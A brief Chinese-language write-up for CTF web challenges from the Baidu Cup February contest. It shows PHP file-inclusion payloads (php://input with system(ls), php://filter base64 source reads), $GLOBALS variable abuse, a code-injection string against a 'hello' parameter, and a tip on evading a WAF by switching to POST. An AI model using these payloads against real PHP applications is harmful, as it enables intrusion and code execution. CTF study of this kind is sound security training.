百度杯ctf二月场几道web题 writeup
include
比较经典的文件包含题,记录一下
首先看phpinfo里allow_url_include为On
所以可以使用php://input包含执行命令
1 |
<?php system(ls);?> |
关键文件在dle345aae.php
配合
1 |
php://filter/convert.base64-encode/resource=dle345aae.php |
读取源码
1 2 |
<?php $flag="flag{3da178f7-c351-4acc-b6c1-0b0719f4ec9e}"; |
爆破1
这里用到PHP超全局变量
$GLOBALS — 引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
payload:
http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS
爆破2
代码注入一下就ok
1 |
?hello=);system(ls);// |
看来只有flag.php
然后我们直接输出源码就行
比较坑的是i春秋带了waf…我们改成post再传个值绕过
水过..
近期评论